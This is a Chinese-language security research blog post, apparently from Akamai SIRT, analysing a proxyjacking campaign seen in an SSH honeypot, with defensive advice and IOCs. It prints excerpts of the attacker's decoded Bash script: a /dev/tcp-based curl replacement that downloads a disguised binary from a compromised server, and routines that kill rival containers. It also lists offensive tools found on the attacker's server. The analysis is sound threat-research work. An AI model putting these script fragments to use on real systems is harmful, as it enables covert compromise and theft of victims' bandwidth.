需要云计算吗? 即刻开始体验

代理劫持:最新网络犯罪牟利途径

Allen West

寫於

Allen West

June 29, 2023

Allen West

寫於

Allen West

Allen West 是 Akamai 安全情报响应团队的一名安全研究员,他热爱调查各种威胁并构建相关工具。他目前正在卡内基梅隆大学攻读信息安全与保障硕士学位。之前,他获得了东北大学网络安全专业学士学位,他还是一名美国海军陆战队退伍军人。在空闲时间,Allen 喜欢旅行、远足、游泳,以及各种各样的户外和冒险活动。

尽管代理劫持早已出现,但直到最近才被专门用来牟利,我们在这种攻击活动中发现了此类行为。

编辑和评论补充:Tricia Howard

执行摘要

  • Akamai 安全智能响应团队 (SIRT) 监测到了一次代理劫持攻击活动,攻击目标为易受攻击的 SSH 服务器,通过发起 Docker 服务来共享受害者的带宽,以此谋取钱财。

  • 在这次攻击活动中,网络犯罪分子利用被入侵的 Web 服务器来分发必要的依赖关系,积极搜索并删除竞争实例,并采用混淆技术来逃避检测。

  • 代理劫持已成为网络犯罪分子利用受攻击设备牟利的最新方式,同时危及企业生态系统和消费者生态系统。这是一个比加密劫持更隐蔽的另一种攻击手段,具有严重影响,可能会加剧第 7 层代理攻击业已造成的麻烦。

简介

在网络威胁不断变化的世界里,攻击者的策略也在花样翻新,企图以尽可能少的投入,搏得尽可能多的收益。六月初,Akamai SIRT 在遍布全球的其中一个蜜罐中发现了一种新型攻击手段:通过代理劫持牟利。

尽管代理劫持这一概念并不陌生,但攻击者们最近却发展出了一种新能力,即以主流公司关联方之名,利用代理劫持轻松获利。这一攻击媒介提供了一条轻松获利的途径,对企业与普通消费者而言都构成了威胁,因此亟需提高他们的认识,并设法抵御这种攻击。以 Meris 和 Anonymous Sudan 为代表的威胁形势方兴未艾,并且通过代理网络传播的第 7 层攻击也显著增加,这使大量累积的可用代理成为潜在牟利的手段。

在本文中,我们将深入探讨我们 SIRT 安全研究人员发现的新型代理劫持攻击活动。这次攻击活动相当活跃,攻击者利用 SSH 进行远程访问,通过运行恶意脚本,悄无声息地将受害服务器纳入 Peer2Proxy、Honeygain 之类的对等 (P2P) 代理网络。

攻击者借此利用受害者的额外带宽牟利,而受害者却毫无察觉。与加密挖矿相比,这种方式只需使用小部分资源负载,且更为隐蔽。

我们将在下文详述该攻击活动的技术细节,并探讨借代理劫持牟利的威胁概况。此外,我们还将给出有关如何抵御此类威胁的建议。我们希望借此引起人们重视这一旧技术的新用例。

什么是代理劫持?

加密劫持这一概念已经广为人知:攻击者窃取受害者资源来助其挖矿,以便牟利。最近,另一种名为代理劫持的技术逐渐兴起,此技术鲜为人知。

通过代理劫持,攻击者不仅可以窃取资源,还可利用受害者多余的带宽。他们将受害者的系统悄悄作为 P2P 代理节点,用以运行各种服务。近期,攻击者开始通过 Peer2Profit 或 Honeygain 之类的网站从该行为中获利。这些公司为普通用户提供利用额外带宽赚钱的机会,对许多个体和实体而言,这都是颇有吸引力的合法挣钱途径。

然而,此类网站并不关心新代理节点的来源,这便给非法活动提供了可乘之机。 尽管代理劫持早已出现,但直到最近才专门用来牟利,我们在这种攻击活动中发现了此类行为

代理对网络犯罪分子而言有何价值?

对网络犯罪分子而言,代理的价值在于他们可以借之混淆自己的踪迹,使溯源非法活动变得极为困难。恶意流量抵达最终目的地前,犯罪分子通过大量对等节点对其进行路由,从而达到混淆踪迹的目的。图 1 是该行为的示例,展示了个人如何通过公开交换代理访问,为流量寻得多样化路径。

通过分析与本次调查的主要目标 IP 相关的在线贴文,我们发现了这份列表,其中还包含其他 16,500 多个公开代理。在代理劫持日渐兴起的背景下,显而易见的是,这些节点并非都是自愿作为对等节点加入该网络的。这份列表也绝非详尽无遗,因为我们还发现了其他许多类似帖文。

开放代理列表屏幕截图 图 1:某在线论坛中发布的开放代理共享列表(IP 被屏蔽)

在本篇博文所探讨的这种攻击活动中,我们的关注焦点并非传统的“开放”代理,因为 Peer2Profit 和 Honeygain 之类的公司宣称它们仅与经过理论审查的合作伙伴共享代理。 这类公司的激励措施虽是旨在鼓励共建代理网络,但却不单吸引了以获得被动收入为目的的合法客户群,也吸引了那些试图牺牲他人利益,利用系统为自己牟利的人

同样,它们所提供的实际服务也必然会同时吸引合法公司和攻击者。因此,此案例充分提醒我们,这些看似有益的服务,背后也可能存在安全隐患。

微笑,你掉到 Cowrie 里了!

这次攻击活动于 2023 年 6 月 8 日首次曝光。当时,我们的团队注意到某攻击者建立了多个 SSH 连接,试图接入我们的某个 Cowrie 蜜罐(图 2),这些蜜罐是由 SIRT 管理的资产。得益于我们对该蜜罐的全面控制以及监控能力,我们追踪并记录了攻击者的所有行为,这些行为主要通过编码后的 Bash 脚本执行。

攻击者建立了多个 SSH 连接,试图接入我们的某个 Cowrie 蜜罐 图 2:SSH 蜜罐中某代理劫持活动的映射图

攻击者首先使用了双 Base64 编码的 Bash 脚本(图 3),这是一种掩盖脚本真实功能、躲避安全系统的常用技术。

攻击者首先使用了双 Base64 编码的 Bash 脚本 图 3:攻击者的编码 Bash 脚本

对经混淆处理的 Bash 脚本进行解码之后,攻击者的代理劫持伎俩清晰暴露在我们眼前。借助此解码脚本的日志记录,我们得以仔细剖析攻击者意图进行的操作,包括其性质以及顺序。

干扰、部署、消失

这一解码脚本运用 $PACCT 指定的关联帐户,将受到攻击的系统有效转化为 Peer2Profit 代理网络中的一个节点,而该帐户则将从共享带宽中获得收益。不久之后,我们在某次 Honeygain 安装设备中也发现了相同的情况。 该脚本经过精心设计,既隐蔽又强大,无论主机系统中安装了哪种软件,它都会试图运行

该脚本一开始先对几个函数进行了定义,以供后续使用,首先便是 curl函数的初步实现:

  function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\nUser-Agent: curl/6.1.9\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

接着在第二个函数中用此函数来下载 curl 的实际版本(以“csdark.css”之名托管于分发服务器上)。看上去此攻击手段只需 curl 便可发挥作用,因此,如果受害主机中没有 curl,攻击者便会代其下载。

  c(){
  if ! command -v curl &>/dev/null;then
    __curl http://xxx.xxx.xxx.xxx/main/dist/css/csdark.css > curl
    if ! md5sum curl|grep -q 2a88b534fa8d58cef93e46c4ab380b23;then
      echo "could not get curl"
      exit
    fi
    chmod +x curl
    export PATH=$PWD:$PATH
  fi
}

根据我们的分析,这只是 curl 的常规分发,并无太多或任何修改。其中可能含有其他能够提高性能的功能或恶意功能,但这次我们并未发现充足的证据。

有趣的是,尽管所有第三方供应商都将此可执行文件判定为完全良性(图 4),但当初正是它引导我们的调查步步深入。其良好的声誉再一次佐证了上面的判断,即这只是 curl 实用程序的标准分发。但在对此攻击痕迹进行溯源后,这段无害的代码摇身一变,成为了代理劫持攻击手段的一部分。这进一步说明,除了隔离那些被判定为恶意的攻击痕迹以外,也应隔离所有异常的攻击痕迹,这种能力十分重要。

已下载的 curl 应用程序的屏幕截图 图 4:屏幕截图显示了已下载的 curl 应用程序的良好声誉

攻击者还定义了另一个函数,以便迁移到可写、可执行的位置,如 /dev/shm 或 /tmp。如果未发现合适的目录,可执行文件将退出。

  d(){
  cd /dev/shm && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  cd /tmp && cp /bin/ls . && ./ls &>/dev/null && rm -f ls && return
  #mkdir -p $HOME/.cache/apt && cd $HOME/.cache/apt && return
  echo "no suitable dir"
  exit
}

脚本中定义的最后一个函数可用以设置爬虫程序,但对该函数的调用实际已在主脚本中被注解掉了,取而代之的是可能更具功能性的代码。攻击者的大部分行为发生在代码的其余部分。

出于安全考量,我们无法分享完整的代码,但可以引用其中一部分,方便大家对我们探讨的内容有一个大致了解。代码中的部分内容已使用 [...] 进行屏蔽。

脚本首先检查了自己的容器是否已成功启动并正常运行:

  if ps axjf|[...]|grep […] "$PACCT";then
  echo "already running"
  exit

接着,检查是否有其他与带宽共享容器势均力敌的容器正在运行,并杀死它们。

  if docker ps [...] |grep [...] peer2profit [...] p2pclient;then
  for con in [...];do
    if ! docker [...]|grep [...] "$PACCT";then
      [...]
      docker stop -t 10 $con
      docker stop -s KILL $con
      docker stop $con
      echo "killed container: $con"
    fi
  done
fi

然后,它们建立了一个工作目录,并从包含资源共享程序的公共 Docker 仓库中下载 Docker 镜像,并命名为“postfixd”。接着,只需遵照下载与打开镜像 Docker 分层的公开说明,并删除一些遗留的攻击痕迹,然后离开。

  cd .. && rm -rf pfp

多样化互联网带宽的价值

此攻击活动中使用的 P2P 代理变现手段为 Peer2Profit 与 Honeygain,两者都提供公共 Docker 镜像,且都已有逾百万次下载(图 5)。

Docker 镜像截图 图 5:下载逾百万次的 Honeygain 公共 Docker 镜像

在这些代理劫持案例中,理论上虽合法但可能毫无道德底线的公司正利用代理来收集数据或进行宣传(图 6)。有些公司甚至会让您完全了解您的流量用途。

Peer2Profit 网站截图 图 6:Peer2Profit 网站屏幕截图

这些应用程序本身并非恶意软件;它们本是作为自愿服务,使用户有机会分享其多余的互联网带宽,以换取金钱补偿(图 7)。这笔交易简单直接,但部分公司并未适当验证网络中 IP 的来源,有时甚至还建议人们在工作计算机上安装这种软件。

Peer2Profit 图片 图 7:Peer2Profit 网站上关于服务原理的说明图(来源:https://peer2profit.com/)

当合法活动演变为网络犯罪

当在用户不知情或未经用户同意的情况下部署应用程序并有效利用用户资源牟利时,情况便会截然不同。看似无害的服务使用行为,将演变为网络犯罪。通过强占多个系统及其带宽,攻击者通过该服务赚得的潜在收益大大增加,而这都是以牺牲受害者的利益为前提的。

加密挖矿和加密劫持之间的区别与此情形惊人相似。加密挖矿本身是合法活动,个人可利用计算资源来挖掘加密货币。而当它演变为加密劫持时,则是指未经他人授权而利用其计算资源进行挖矿,将原本无害的活动变为了恶意活动。

探秘分发服务器

随着调查深入,我们检查了用于删除 curl 二进制文件的服务器,前者被运用于恶意 Bash 脚本中。这种无文件攻击仍然依靠分发服务器来正确执行。

浏览该网站时,我们很快得出一个结论,即这是一个遭到入侵的 Web 服务器,不法分子利用它来分发各种攻击组件。我们追溯到了该网站的源头——利比亚一家专门生产“高品质建材”的企业。

评估伊始,我们首先查看了还有哪些内容与 curl 二进制文件(即上文提及的“csdark.css”)一起托管(图 8)在同一个路径中。

托管列表 图 8:遭到入侵 Web 服务器托管列表

在对该 Web 服务器的搭建技术进行一番分析之后,我们发现服务器中存在多个未维护的陈旧组件。此网站路径专门用于支持一个名为 metro bootstrap 的库,此库早已停止维护。熟悉此库之后,我们弄清了最近修改时间为 2014 年的三个文件。

然而,这些较新的文件使我们相信此服务器后来遭到入侵,如今被用作各种活动的下载点。为分析这些文件,我们使用了“wget -r”来下载它们。

csdark.css 文件是我们先前讨论过的可执行文件 curl,通过日期可以推断, metro-bootstrap.min.xcss 可能是上传的一种测试文件,次日,csdark.css 文件被添加。最后只剩下 vksp 还未弄清。根据下方的 VirusTotal 条目(图 9), vksp 实际上是一个名为 perfcc的程序,一个 专门针对 Linux 的加密挖矿程序

VirusTotal 条目 图 9:屏幕截图显示 perfcc 在 VirusTotal 上被标记为恶意

我们对该文件进行了分析,发现其中 确实存在加密挖矿实用程序,以及许多其他漏洞利用程序和常见黑客工具。

  ~/.local/bin$ ls
  addcomputer.py  exchanger.py        getST.py          ldd2pretty            normalizer     
  raiseChild.py     secretsdump.py  split.py
  atexec.py       findDelegation.py   getTGT.py         lookupsid.py          ntfs-read.py   
  rbcd.py           services.py     ticketConverter.py
  crontab         flask               GetUserSPNs.py    machine_role.py       ntlmrelayx.py  
  rdp_check.py      smbclient.py    ticketer.py
  cygdb           futurize            goldenPac.py      mimikatz.py           pasteurize     
  registry-read.py  smbexec.py      top
  cython          GetADUsers.py       karmaSMB.py       mqtt_check.py         ping6.py       
  reg.py            smbpasswd.py    wmiexec.py
  cythonize       getArch.py          keylistattack.py  mssqlclient.py        ping.py        
  rpcdump.py        smbrelayx.py    wmipersist.py
  dcomexec.py     Get-GPPPassword.py  kintercept.py     mssqlinstance.py      
  psexec.py      rpcmap.py         smbserver.py    wmiquery.py
  dpapi.py        GetNPUsers.py       ldapdomaindump    netview.py            ps.old         
  sambaPipe.py      sniffer.py
  esentutl.py     getPac.py           ldd2bloodhound    nmapAnswerMachine.py  
  __pycache__    samrdump.py       sniff.py

这一发现对我们而言意义重大,因为它显然意味着,过去一直以加密劫持为获利来源的攻击者将转向新的牟利方式,或至少以代理劫持作为此非法活动的补充。这两个托管在同一个受攻击网站上的可执行文件业已证明,某些攻击者会立即嗅到这一新型变现策略所蕴藏的价值。

影响及威胁形势相关性

以牟利为目的的代理劫持兴起之前,曾出现过其他许多种通过遭入侵的设备赚钱的犯罪手段。最为相似的当属加密劫持,但利用合法服务并通过犯罪手段滥用其盈利能力的策略还可追溯到更早以前。

另一个典型例子是垃圾邮件,其起源很大程度上 始于联盟营销,这种做法即使在今天也很常见。当个人把客户引向指定网站后,一些公司会按点击向个人付费,许多公司忽视了一点,即很多人是通过垃圾邮件来引流的。只要这样的激励还存在,且企业不在乎流量来源是否合乎道德,犯罪产业就会应运而生,想方设法从中攫取利益。

代理累积还有另一个特点,使其尤为重要且令人担忧:代理劫持从本质上解决了加密劫持的唯一显著缺点——通过高 CPU 利用率被检测。代理劫持仅需占用极少 CPU,并转而依赖多余的互联网带宽, 从而能够躲避一些以前用于检测加密劫持的方法

如何抵御代理劫持

从企业的角度来看,更少的 CPU 利用率意味着更强调通过 IDS/IPS 解决方案来抵御代理劫持。日常用户则应实施强有力的基本安全措施,如使用复杂的 密码 并用密码管理器加以存储,向应用程序施加 补丁 ,以及尽可能启用多重身份验证 (MFA)。对计算机安全有较深了解的用户还可通过以下几点保持警惕:关注 容器 当前的运行情况,监控网络流量异常,甚至定期进行漏洞扫描。

在本文分析的这一特定活动中,我们发现攻击者使用了 SSH 来访问服务器并安装了一个 Docker 容器,但过去的活动也利用过 Web 漏洞。如果您在检查本地运行的 Docker 服务时,发现系统上存在任何不受欢迎的资源共享行为,请对入侵展开调查,确定脚本的上传和运行方式,然后进行彻底清理。

请务必检查是否存在任何其他入侵或入侵迹象。更改所有密码,确保所有软件已更新至最新版本,并考虑实施更严格的安全策略。此外,如受到影响的系统较为敏感或包含重要数据,您还应考虑聘请 专业的事件响应服务

这类攻击除了行迹十分诡秘之外,开放代理更成为了网络罪犯武器库中的关健工具。Meris 和 Anonymous Sudan 等犯罪组织已向我们展示了代理攻击的强大破坏力和惨痛后果。随着第 7 层攻击与日俱增,此问题只会继续加剧,而依赖这些代理网络公司来管理合作伙伴可谓是十分糟糕的防御机制,且无法提供牢靠保障。

总结

旧技术仍然有效,尤其是与新兴技术相结合时更为有效。通过代理劫持牟利便是典型例子,新手段——尤其是围绕这类攻击而演变的新手段也必将出现。这一媒介再次凸显了强大基础措施的重要性。标准安全实践依然是一种行之有效的预防机制,例如强密码、补丁管理以及细致的日志记录。

无论您对代理劫持的担心是出于企业安全考量还是个人资产安全考量,都必须保持警惕。Akamai SIRT 将一如既往监控此类威胁以及其他威胁,并在威胁出现时提供详细信息。如需了解更多最新安全研究, 请关注我们的微信公众号

IOC

  • 哈希
    • 6f1ac1e711e662edad32713c135ce29562d636794cf5a21a44bbb34955610f0a  - vksp
    • 72e7dd199bed6eefa0ae763c399e0d8a56e2b1dfacc089046706226a5f2a

  • 检查是否存在不受欢迎的代理劫持
    •         
      docker ps | grep -q peer2profit

    • docker ps | grep -q honeygain

 



Allen West

寫於

Allen West

June 29, 2023

Allen West

寫於

Allen West

Allen West 是 Akamai 安全情报响应团队的一名安全研究员,他热爱调查各种威胁并构建相关工具。他目前正在卡内基梅隆大学攻读信息安全与保障硕士学位。之前,他获得了东北大学网络安全专业学士学位,他还是一名美国海军陆战队退伍军人。在空闲时间,Allen 喜欢旅行、远足、游泳,以及各种各样的户外和冒险活动。